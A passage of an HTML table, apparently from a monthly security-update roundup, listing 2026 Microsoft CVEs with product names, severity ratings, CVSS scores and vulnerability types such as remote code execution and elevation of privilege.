  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
